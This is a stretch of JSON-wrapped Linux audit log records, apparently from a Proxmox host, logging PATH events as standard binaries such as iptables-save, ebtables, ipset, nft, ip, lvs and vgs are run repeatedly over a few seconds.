{"@timestamp":1781964395505,"@rawstring":"node=pve type=PATH msg=audit(1781964395.505:60832): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395505,"@rawstring":"node=pve type=PATH msg=audit(1781964395.505:60832): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395505,"@rawstring":"node=pve type=PATH msg=audit(1781964395.505:60832): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395499,"@rawstring":"node=pve type=PATH msg=audit(1781964395.499:60831): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395499,"@rawstring":"node=pve type=PATH msg=audit(1781964395.499:60831): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395493,"@rawstring":"node=pve type=PATH msg=audit(1781964395.493:60830): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395493,"@rawstring":"node=pve type=PATH msg=audit(1781964395.493:60830): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395488,"@rawstring":"node=pve type=PATH msg=audit(1781964395.488:60829): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395488,"@rawstring":"node=pve type=PATH msg=audit(1781964395.488:60829): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395482,"@rawstring":"node=pve type=PATH msg=audit(1781964395.482:60828): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395482,"@rawstring":"node=pve type=PATH msg=audit(1781964395.482:60828): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395475,"@rawstring":"node=pve type=PATH msg=audit(1781964395.475:60827): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395475,"@rawstring":"node=pve type=PATH msg=audit(1781964395.475:60827): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964394761,"@rawstring":"node=pve type=PATH msg=audit(1781964394.761:60826): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964394761,"@rawstring":"node=pve type=PATH msg=audit(1781964394.761:60826): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964394737,"@rawstring":"node=pve type=PATH msg=audit(1781964394.737:60825): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964394737,"@rawstring":"node=pve type=PATH msg=audit(1781964394.737:60825): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964394209,"@rawstring":"node=pve type=PATH msg=audit(1781964394.209:60824): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964394209,"@rawstring":"node=pve type=PATH msg=audit(1781964394.209:60824): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964394209,"@rawstring":"node=pve type=PATH msg=audit(1781964394.209:60823): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964394208,"@rawstring":"node=pve type=PATH msg=audit(1781964394.208:60822): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964394202,"@rawstring":"node=pve type=PATH msg=audit(1781964394.202:60821): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964394202,"@rawstring":"node=pve type=PATH msg=audit(1781964394.202:60821): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964394202,"@rawstring":"node=pve type=PATH msg=audit(1781964394.202:60820): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964394202,"@rawstring":"node=pve type=PATH msg=audit(1781964394.202:60819): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964389183,"@rawstring":"node=pve type=PATH msg=audit(1781964389.183:60818): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964389183,"@rawstring":"node=pve type=PATH msg=audit(1781964389.183:60818): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964389183,"@rawstring":"node=pve type=PATH msg=audit(1781964389.183:60817): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964389183,"@rawstring":"node=pve type=PATH msg=audit(1781964389.183:60816): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964389162,"@rawstring":"node=pve type=PATH msg=audit(1781964389.162:60815): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964389162,"@rawstring":"node=pve type=PATH msg=audit(1781964389.162:60815): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964389162,"@rawstring":"node=pve type=PATH msg=audit(1781964389.162:60814): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964389162,"@rawstring":"node=pve type=PATH msg=audit(1781964389.162:60813): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385462,"@rawstring":"node=pve type=PATH msg=audit(1781964385.462:60812): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385462,"@rawstring":"node=pve type=PATH msg=audit(1781964385.462:60812): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385459,"@rawstring":"node=pve type=PATH msg=audit(1781964385.459:60811): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385459,"@rawstring":"node=pve type=PATH msg=audit(1781964385.459:60811): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385457,"@rawstring":"node=pve type=PATH msg=audit(1781964385.457:60810): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385457,"@rawstring":"node=pve type=PATH msg=audit(1781964385.457:60810): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385457,"@rawstring":"node=pve type=PATH msg=audit(1781964385.457:60809): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385453,"@rawstring":"node=pve type=PATH msg=audit(1781964385.453:60808): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385453,"@rawstring":"node=pve type=PATH msg=audit(1781964385.453:60808): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385453,"@rawstring":"node=pve type=PATH msg=audit(1781964385.453:60808): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385446,"@rawstring":"node=pve type=PATH msg=audit(1781964385.446:60807): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385446,"@rawstring":"node=pve type=PATH msg=audit(1781964385.446:60807): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385440,"@rawstring":"node=pve type=PATH msg=audit(1781964385.440:60806): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385440,"@rawstring":"node=pve type=PATH msg=audit(1781964385.440:60806): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385433,"@rawstring":"node=pve type=PATH msg=audit(1781964385.433:60805): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385433,"@rawstring":"node=pve type=PATH msg=audit(1781964385.433:60805): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385427,"@rawstring":"node=pve type=PATH msg=audit(1781964385.427:60804): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385427,"@rawstring":"node=pve type=PATH msg=audit(1781964385.427:60804): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385422,"@rawstring":"node=pve type=PATH msg=audit(1781964385.422:60802): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385422,"@rawstring":"node=pve type=PATH msg=audit(1781964385.422:60802): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385418,"@rawstring":"node=pve type=PATH msg=audit(1781964385.418:60801): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385418,"@rawstring":"node=pve type=PATH msg=audit(1781964385.418:60801): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385413,"@rawstring":"node=pve type=PATH msg=audit(1781964385.413:60800): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385413,"@rawstring":"node=pve type=PATH msg=audit(1781964385.413:60800): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385408,"@rawstring":"node=pve type=PATH msg=audit(1781964385.408:60799): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385408,"@rawstring":"node=pve type=PATH msg=audit(1781964385.408:60799): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385403,"@rawstring":"node=pve type=PATH msg=audit(1781964385.403:60798): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385403,"@rawstring":"node=pve type=PATH msg=audit(1781964385.403:60798): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385397,"@rawstring":"node=pve type=PATH msg=audit(1781964385.397:60797): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385397,"@rawstring":"node=pve type=PATH msg=audit(1781964385.397:60797): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385391,"@rawstring":"node=pve type=PATH msg=audit(1781964385.391:60796): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385391,"@rawstring":"node=pve type=PATH msg=audit(1781964385.391:60796): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385385,"@rawstring":"node=pve type=PATH msg=audit(1781964385.385:60795): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385385,"@rawstring":"node=pve type=PATH msg=audit(1781964385.385:60795): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385381,"@rawstring":"node=pve type=PATH msg=audit(1781964385.381:60794): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385381,"@rawstring":"node=pve type=PATH msg=audit(1781964385.381:60794): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385379,"@rawstring":"node=pve type=PATH msg=audit(1781964385.379:60793): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385379,"@rawstring":"node=pve type=PATH msg=audit(1781964385.379:60793): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385378,"@rawstring":"node=pve type=PATH msg=audit(1781964385.378:60792): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385378,"@rawstring":"node=pve type=PATH msg=audit(1781964385.378:60792): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385378,"@rawstring":"node=pve type=PATH msg=audit(1781964385.378:60791): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385374,"@rawstring":"node=pve type=PATH msg=audit(1781964385.374:60790): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385374,"@rawstring":"node=pve type=PATH msg=audit(1781964385.374:60790): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385374,"@rawstring":"node=pve type=PATH msg=audit(1781964385.374:60790): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385367,"@rawstring":"node=pve type=PATH msg=audit(1781964385.367:60789): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385367,"@rawstring":"node=pve type=PATH msg=audit(1781964385.367:60789): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385361,"@rawstring":"node=pve type=PATH msg=audit(1781964385.361:60788): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385361,"@rawstring":"node=pve type=PATH msg=audit(1781964385.361:60788): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385356,"@rawstring":"node=pve type=PATH msg=audit(1781964385.356:60787): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385356,"@rawstring":"node=pve type=PATH msg=audit(1781964385.356:60787): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385350,"@rawstring":"node=pve type=PATH msg=audit(1781964385.350:60786): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385350,"@rawstring":"node=pve type=PATH msg=audit(1781964385.350:60786): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385344,"@rawstring":"node=pve type=PATH msg=audit(1781964385.344:60785): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964385344,"@rawstring":"node=pve type=PATH msg=audit(1781964385.344:60785): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964384659,"@rawstring":"node=pve type=PATH msg=audit(1781964384.659:60784): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964384659,"@rawstring":"node=pve type=PATH msg=audit(1781964384.659:60784): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964384626,"@rawstring":"node=pve type=PATH msg=audit(1781964384.626:60783): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964384626,"@rawstring":"node=pve type=PATH msg=audit(1781964384.626:60783): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964384152,"@rawstring":"node=pve type=PATH msg=audit(1781964384.152:60782): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964384152,"@rawstring":"node=pve type=PATH msg=audit(1781964384.152:60782): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964384152,"@rawstring":"node=pve type=PATH msg=audit(1781964384.152:60781): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964384152,"@rawstring":"node=pve type=PATH msg=audit(1781964384.152:60780): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 